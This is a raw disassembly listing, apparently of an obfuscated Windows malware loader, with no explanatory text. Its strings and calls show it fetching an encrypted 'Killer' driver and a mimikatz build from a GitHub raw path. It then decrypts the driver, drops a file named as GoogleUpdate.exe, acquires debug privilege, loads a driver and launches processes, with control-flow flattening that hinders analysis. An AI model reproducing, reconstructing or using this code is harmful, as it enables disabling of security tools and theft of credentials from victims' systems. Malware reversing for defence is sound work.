lea rcx, [rbp + 0xf0]
mov rdx, r14
lea r8, str._Roald7Amundsen_DorkYou_raw_refs_heads_master_cipherK.bin
call section..text
add rsp, 0x20
mov eax, 0xaa35c1ba
jmp 0x140004d7d
mov eax, 0xf0438195
jmp 0x140004d7d
mov rax, qword [rbp + 0x128]
mov qword [rbp - 0x70], rax
mov eax, 0x24ab79c4
jmp 0x140004d7d
mov eax, 0x668b6299
jmp 0x140004d7d
mov eax, 0xc4a4eb3d
jmp 0x140004d7d
mov rax, qword [rbp - 0x48]
mov r13d, r12d
mov eax, 0x3828dbae
jmp 0x140004d7d
mov eax, 0xf7363e3e
mov dword [rbp + 0x90], 0xffffffff
jmp 0x140004d7d
sub rsp, 0x20
lea rsi, [rbp + 0xf0]
mov rcx, rsi
mov rdx, r14
lea r8, str._Roald7Amundsen_DorkYou_raw_refs_heads_master_cipherK.bin
call section..text
add rsp, 0x20
mov qword [rbp + 0x68], rsi
mov rax, qword [rbp + 0x68]
cmp qword [rax], 0
setne byte [rbp + 0xed]
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x6b0a5bde
mov ecx, 0x69257620
jmp 0x140004d70
mov eax, 0xa7787d93
jmp 0x140004d7d
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xd70a138a
mov ecx, 0xd42282cb
jmp 0x140004d70
mov rdx, qword [rbp + 0xa8]
sub rsp, 0x20
mov rcx, rdi
call fcn.140006b70
add rsp, 0x20
mov rax, qword [rbp + 0xd0]
mov rax, qword [rax]
mov qword [rbp - 0x60], rax
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa98a1ae2
mov ecx, 0xfc776b32
jmp 0x140004d70
cmp byte [rbp + 0xeb], 0
mov eax, 0x3def3b4f
mov ecx, 0xa5d0f864
cmovne eax, ecx
jmp 0x140004d7d
mov eax, 0xfb9c4197
mov dword [rbp + 0x94], 0
jmp 0x140004d7d
mov rax, qword [rbp - 0x40]
mov dword [rbp + 0x88], r13d
mov eax, 0xabf52dd
jmp 0x140004d7d
mov eax, dword [rbp + 0x7c]
mov dword [rbp], eax
mov rax, qword [rbp - 8]
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc5a04d35
mov ecx, 0x61978a11
jmp 0x140004d70
mov rax, qword [rbp - 0x18]
mov eax, dword [rbp + 0x80]
mov dword [rbp + 0x7c], eax
mov eax, 0xbfd042d6
jmp 0x140004d7d
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xf69a383e
mov ecx, 0xc1c310b2
jmp 0x140004d70
mov eax, 0xf36e393f
mov r12d, 0xffffffff
jmp 0x140004d7d
cmp dword [rbp + 0x1c], 0
mov eax, 0xbf52ffa3
mov ecx, 0x89bf4eb4
cmove eax, ecx
jmp 0x140004d7d
mov eax, 0xf9ce3289
jmp 0x140004d7d
mov rax, qword [rbp - 0x28]
mov eax, dword [rbp + 0x90]
mov dword [rbp + 0x80], eax
mov eax, 0x6dd77ff3
jmp 0x140004d7d
sub rsp, 0x20
lea rcx, str.____Failed_to_Download_remote_Killer_Cipher_n
call fcn.140006b70
add rsp, 0x20
mov eax, 0x31908bd7
jmp 0x140004d7d
mov rcx, qword [rbp + 0x20]
sub rsp, 0x20
call fcn.140007170
add rsp, 0x20
mov eax, 0xf4ad725b
jmp 0x140004d7d
sub rsp, 0x20
call fcn.140004380
add rsp, 0x20
test eax, eax
mov eax, 0xc4b23c6b
mov ecx, 0x70781665
cmove eax, ecx
jmp 0x140004d7d
sub rsp, 0x20
lea rcx, str.____Failed_to_write_file_n
call fcn.140006b70
add rsp, 0x20
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2d897816
mov ecx, 0xc65a1b29
jmp 0x140004d70
mov eax, 0x73e479f
jmp 0x140004d7d
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xb9c75abc
mov ecx, 0xf4ad725b
jmp 0x140004d70
sub rsp, 0x20
call r15
lea rcx, str.____CreateProcessW_failed:__d_n
mov edx, eax
call fcn.140006b70
add rsp, 0x20
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xfea5307a
mov ecx, 0x1ef853e7
jmp 0x140004d70
mov rax, qword [rbp + 0x98]
mov rdx, qword [rax]
sub rsp, 0x20
lea rcx, str.___killerExeKey.data__0x_p_n
call fcn.140006b70
add rsp, 0x20
mov rsi, qword [rbp + 0xc8]
mov rdx, qword [rsi + 8]
sub rsp, 0x20
lea rcx, str.___killerExeKey.len___d_bytes_n
call fcn.140006b70
add rsp, 0x20
mov rax, qword [rbp + 0xe0]
movups xmmword [rax], xmm6
mov rax, qword [rbp + 0xd8]
movups xmmword [rax], xmm6
mov rax, qword [rbp + 0x68]
mov rax, qword [rax]
mov rcx, qword [rbp + 0xe0]
mov qword [rcx + 8], rax
mov rax, qword [rbp + 0x40]
mov eax, dword [rax]
mov rcx, qword [rbp + 0xe0]
mov dword [rcx + 4], eax
mov rcx, qword [rbp + 0xe0]
mov dword [rcx], eax
mov rax, qword [rbp + 0x98]
mov rax, qword [rax]
mov rcx, qword [rbp + 0xd8]
mov qword [rcx + 8], rax
mov eax, dword [rsi + 8]
mov rcx, qword [rbp + 0xd8]
mov dword [rcx + 4], eax
mov rcx, qword [rbp + 0xd8]
mov dword [rcx], eax
mov rcx, qword [rbp + 0xe0]
mov rdx, qword [rbp + 0xd8]
sub rsp, 0x20
call qword [0x140038b48]
lea rcx, str.___Killer_Driver_Decrypted_n___Check_Cipher_for__Mz__sig_n
call fcn.140006b70
add rsp, 0x20
mov rax, qword [rbp + 0x70]
mov rsi, r15
mov r15, qword [rbp + 0x70]
mov rax, qword [rbp + 0xb0]
sub rsp, 0x30
mov qword [rsp + 0x20], rax
mov edx, 0x104
mov rcx, r15
mov r8, 0xffffffffffffffff
lea r9, str._wsGoogleUpdate.exe
call fcn.140003990
add rsp, 0x30
mov rcx, qword [rbp + 0xe0]
sub rsp, 0x20
mov rdx, r15
mov r15, rsi
call fcn.140002b70
add rsp, 0x20
mov eax, 0x4891b37b
jmp 0x140004d7d
sub rsp, 0x20
call r15
add rsp, 0x20
mov dword [rbp + 0x14], eax
mov eax, 0xaa6c8174
jmp 0x140004d7d
mov eax, dword [rbp + 0x8c]
mov dword [rbp + 4], eax
mov rax, qword [rbp - 0x68]
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x1a68bcdd
mov ecx, 0x4353ffc
jmp 0x140004d70
mov rdx, qword [rbp - 0x10]
sub rsp, 0x20
lea rcx, str._19s
call fcn.140006ed0
add rsp, 0x20
mov rcx, qword [rbp - 0x10]
sub rsp, 0x20
lea rdx, str.Kompromat.7
call fcn.1400175c0
add rsp, 0x20
test eax, eax
mov eax, 0x67f23fe6
mov ecx, 0x473ffb61
cmove eax, ecx
jmp 0x140004d7d
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xa98a1ae2
mov ecx, 0xa1baa3a7
jmp 0x140004d70
mov rax, qword [rbp - 0x38]
mov rax, qword [rbp - 0x30]
mov rax, qword [rbp + 0x48]
mov rax, qword [rbp + 0x50]
mov eax, dword [rbp + 0x88]
mov dword [rbp + 0x90], eax
mov eax, 0xf7363e3e
jmp 0x140004d7d
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x2d897816
mov ecx, 0xd2ea1be0
jmp 0x140004d70
sub rsp, 0x20
lea rcx, str.Clave_correcta._Continuando..._n
call fcn.140006b70
add rsp, 0x20
mov eax, 0x67379b62
jmp 0x140004d7d
mov rax, qword [rbp + 0xf8]
mov qword [rbp - 0x78], rax
mov eax, 0xb6aaba21
jmp 0x140004d7d
sub rsp, 0x20
lea rcx, str.____Failed_to_write_file_n
call fcn.140006b70
add rsp, 0x20
mov eax, 0xd2ea1be0
jmp 0x140004d7d
sub rsp, 0x20
lea rcx, str.____Failed_to_set_Debug_Privilege_n
call fcn.140006b70
add rsp, 0x20
mov eax, 0x4b50e486
jmp 0x140004d7d
mov eax, 0x3b6471c1
jmp 0x140004d7d
mov rax, qword [rbp + 0xc0]
mov qword [rbp + 0x28], rax
mov rax, qword [rbp + 0x28]
mov rax, qword [rbp + 0xd0]
mov qword [rbp - 0x58], rax
mov rax, qword [rbp - 0x58]
mov rax, qword [rbp + 0x28]
movups xmmword [rax + 0x50], xmm6
movups xmmword [rax + 0x40], xmm6
movups xmmword [rax + 0x30], xmm6
movups xmmword [rax + 0x20], xmm6
movups xmmword [rax + 0x10], xmm6
movups xmmword [rax], xmm6
mov qword [rax + 0x60], 0
mov rax, qword [rbp + 0xc0]
mov dword [rax], 0x68
mov rax, qword [rbp + 0xc0]
mov rdx, qword [rbp + 0xd0]
mov rsi, qword [rbp + 0xb0]
mov rcx, qword [rbp + 0xa8]
sub rsp, 0x50
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x8000000
mov dword [rsp + 0x20], 0
xor edx, edx
xor r8d, r8d
xor r9d, r9d
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
add rsp, 0x50
mov dword [rbp + 0x18], eax
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x5ea91ab0
mov ecx, 0x13fb3776
jmp 0x140004d70
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0xc21ecdf4
mov ecx, 0x57f5669
jmp 0x140004d70
mov rcx, qword [rbp - 0x60]
sub rsp, 0x20
mov rsi, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rsi
add rsp, 0x20
mov rax, qword [rbp + 0xd0]
mov rcx, qword [rax + 8]
sub rsp, 0x20
call rsi
add rsp, 0x20
mov rax, qword [rbp + 0xb8]
mov qword [rbp - 0x68], rax
mov rax, qword [rbp - 0x68]
mov rcx, qword [rbp + 0xb8]
sub rsp, 0x20
mov rdx, r14
lea r8, str._Roald7Amundsen_DorkYou_raw_refs_heads_master_mimikatz_win_11.exe
call section..text
add rsp, 0x20
mov rax, qword [rbp + 0xb8]
mov rax, qword [rax]
mov qword [rbp + 0x20], rax
cmp qword [rbp + 0x20], 0
setne byte [rbp + 0xeb]
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x463af07a
mov ecx, 0x4aa275ae
jmp 0x140004d70
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x3585fb42
mov ecx, 0x31908bd7
jmp 0x140004d70
mov eax, 0x41617136
jmp 0x140004d7d
mov eax, 0x53676c42
jmp 0x140004d7d
mov eax, 0xbf52ffa3
jmp 0x140004d7d
mov rdx, qword [rbp + 0xa0]
sub rsp, 0x20
lea rcx, str.___Killer_printed_to__ws_n
call fcn.140006b70
add rsp, 0x20
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x35d34271
mov ecx, 0x80f8b388
jmp 0x140004d70
mov rax, qword [rbp + 0xc8]
mov rax, qword [rax + 8]
mov qword [rbp - 0x80], rax
mov eax, 0xf7a7dfa5
jmp 0x140004d7d
mov eax, 0x5e8c51eb
jmp 0x140004d7d
mov eax, dword [rbp + 4]
mov dword [rbp + 0x84], eax
mov eax, 0x252fad83
jmp 0x140004d7d
sub rsp, 0x20
lea rcx, str.___Driver_loaded_successfully_n
call fcn.140006b70
add rsp, 0x20
mov eax, 0x3f2f775
jmp 0x140004d7d
mov eax, dword [0x140038ad8]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
mov eax, 0x49095df6
mov ecx, 0xed26e0c7
jmp 0x140004d70
mov rdx, qword [rbp + 0xa0]
sub rsp, 0x20
lea rcx, str.___Killer_printed_to__ws_n
call fcn.140006b70
add rsp, 0x20
mov eax, 0x7205b55f
jmp 0x140004d7d
sub rsp, 0x20
call fcn.140008a50
add rsp, 0x20
mov eax, 0x8821237d
jmp 0x140004d7d
mov eax, 0x4a9c8266
jmp 0x140004d7d
sub rsp, 0x20
lea rcx, str.____Failed_to_write_file_n
call fcn.140006b70
add rsp, 0x20
mov eax, 0xd42282cb
jmp 0x140004d7d
mov rax, qword [rbp - 0x58]
mov rax, qword [rbp + 0x28]
mov rax, qword [rbp - 0x50]
mov rax, qword [rbp + 0x30]
mov rax, qword [rbp + 0x38]
mov r12d, dword [rbp + 0x84]
mov eax, 0xf36e393f
jmp 0x140004d7d
mov eax, 0xc65685e2
jmp 0x140004d7d
cmp dword [rbp + 0x18], 0
mov eax, 0xee98a511
mov ecx, 0x6484008b
cmove eax, ecx
jmp 0x140004d7d
cmp eax, 0x6a163993
je 0x140006b32
jmp 0x140004d7d
cmp eax, 0xe5b474bf
jne 0x140004d7d
sub rsp, 0x20
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov esi, dword [rbp]
mov rcx, qword [rbp + 0x578]
xor rcx, rbp
sub rsp, 0x20
call fcn.140009010
add rsp, 0x20
mov eax, esi
movaps xmm6, xmmword [rbp + 0x580]
lea rsp, [rbp + 0x598]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret